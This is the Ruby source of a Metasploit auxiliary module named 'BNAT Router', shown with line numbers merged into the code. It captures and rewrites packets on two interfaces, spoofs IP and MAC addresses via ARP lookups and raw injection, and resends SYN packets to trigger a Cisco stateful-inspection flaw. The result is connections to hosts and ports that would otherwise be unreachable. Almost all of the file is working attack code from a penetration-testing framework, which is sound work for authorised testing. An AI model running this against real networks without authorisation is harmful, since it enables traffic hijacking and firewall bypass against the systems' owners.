Path: blob/master/modules/auxiliary/bnat/bnat_router.rb
19715 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary67def initialize8super(9'Name' => 'BNAT Router',10'Description' => %q{11This module will properly route BNAT traffic and allow for connections to be12established to machines on ports which might not otherwise be accessible.},13'Author' => [14'bannedit',15'Jonathan Claudius',16],17'License' => MSF_LICENSE,18'References' => [19['URL', 'https://github.com/claudijd/bnat' ],20['URL', 'http://www.slideshare.net/claudijd/dc-skytalk-bnat-hijacking-repairing-broken-communication-channels']21]22)23register_options(24[25OptString.new('OUTINF', [true, 'The external interface connected to the internet', 'eth1']),26OptString.new('ININF', [true, 'The internal interface connected to the network', 'eth2']),27OptString.new('CLIENTIP', [true, 'The ip of the client behind the BNAT router', '192.168.3.2']),28OptString.new('SERVERIP', [true, 'The ip of the server you are targeting', '1.1.2.1']),29OptString.new('BNATIP', [true, 'The ip of the bnat response you are getting', '1.1.2.2']),30]31)32end3334def run35clientip = datastore['CLIENTIP']36serverip = datastore['SERVERIP']37bnatip = datastore['BNATIP']38outint = datastore['OUTINF']39inint = datastore['ININF']4041clientmac = arp2(clientip, inint)42print_line("Obtained Client MAC: #{clientmac}")43servermac = arp2(serverip, outint)44print_line("Obtained Server MAC: #{servermac}")45bnatmac = arp2(bnatip, outint)46print_line("Obtained BNAT MAC: #{bnatmac}\n\n")4748# Create Interface Specific Configs49outconfig = PacketFu::Config.new(PacketFu::Utils.ifconfig(":#{outint}")).config50inconfig = PacketFu::Config.new(PacketFu::Utils.ifconfig(":#{inint}")).config5152# Set Captures for Traffic coming from Outside and from Inside respectively53outpcap = PacketFu::Capture.new(iface: outint.to_s, start: true, filter: "tcp and src #{bnatip}")54print_line("Now listening on #{outint}...")5556inpcap = PacketFu::Capture.new(iface: inint.to_s, start: true, filter: "tcp and src #{clientip} and dst #{serverip}")57print_line("Now listening on #{inint}...\n\n")5859# Start Thread from Outside Processing60fromout = Thread.new do61loop do62outpcap.stream.each do |pkt|63packet = PacketFu::Packet.parse(pkt)6465# Build a shell packet that will never hit the wire as a hack to get desired mac's66shell_pkt = PacketFu::TCPPacket.new(config: inconfig, timeout: 0.1, flavor: 'Windows')67shell_pkt.ip_daddr = clientip68shell_pkt.recalc6970# Mangle Received Packet and Drop on the Wire71packet.ip_saddr = serverip72packet.ip_daddr = clientip73packet.eth_saddr = shell_pkt.eth_saddr74packet.eth_daddr = clientmac75packet.recalc76inj = PacketFu::Inject.new(iface: inint.to_s, config: inconfig)77inj.a2w(array: [packet.to_s])78print_status('inpacket processed')79end80end81end8283# Start Thread from Inside Processing84fromin = Thread.new do85loop do86inpcap.stream.each do |pkt|87packet = PacketFu::Packet.parse(pkt)8889if packet.tcp_flags.syn == 1 && packet.tcp_flags.ack == 090packet.ip_daddr = serverip91packet.eth_daddr = servermac92else93packet.ip_daddr = bnatip94packet.eth_daddr = bnatmac95end9697# Build a shell packet that will never hit the wire as a hack to get desired mac's98shell_pkt = PacketFu::TCPPacket.new(config: outconfig, timeout: 0.1, flavor: 'Windows')99shell_pkt.ip_daddr = serverip100shell_pkt.recalc101102# Mangle Received Packet and Drop on the Wire103packet.eth_saddr = shell_pkt.eth_saddr104packet.ip_saddr = shell_pkt.ip_saddr105packet.recalc106inj = PacketFu::Inject.new(iface: outint.to_s, config: outconfig)107inj.a2w(array: [packet.to_s])108109# Trigger Cisco SPI Vulnerability by Double-tapping the SYN110if packet.tcp_flags.syn == 1 && packet.tcp_flags.ack == 0111select(nil, nil, nil, 0.75)112inj.a2w(array: [packet.to_s])113end114print_status('outpacket processed')115end116end117end118fromout.join119fromin.join120end121122def arp2(target_ip, int)123config = PacketFu::Config.new(PacketFu::Utils.ifconfig(":#{int}")).config124arp_pkt = PacketFu::ARPPacket.new(flavor: 'Windows')125arp_pkt.eth_saddr = arp_pkt.arp_saddr_mac = config[:eth_saddr]126arp_pkt.eth_daddr = 'ff:ff:ff:ff:ff:ff'127arp_pkt.arp_daddr_mac = '00:00:00:00:00:00'128arp_pkt.arp_saddr_ip = config[:ip_saddr]129arp_pkt.arp_daddr_ip = target_ip130cap = PacketFu::Capture.new(iface: config[:iface], start: true, filter: "arp src #{target_ip} and ether dst #{arp_pkt.eth_saddr}")131injarp = PacketFu::Inject.new(iface: config[:iface])132injarp.a2w(array: [arp_pkt.to_s])133target_mac = nil134135while target_mac.nil?136if cap.save > 0137arp_response = PacketFu::Packet.parse(cap.array[0])138target_mac = arp_response.arp_saddr_mac if arp_response.arp_saddr_ip == target_ip139end140select(nil, nil, nil, 0.1) # Check for a response ten times per second.141end142return target_mac143end144end145146147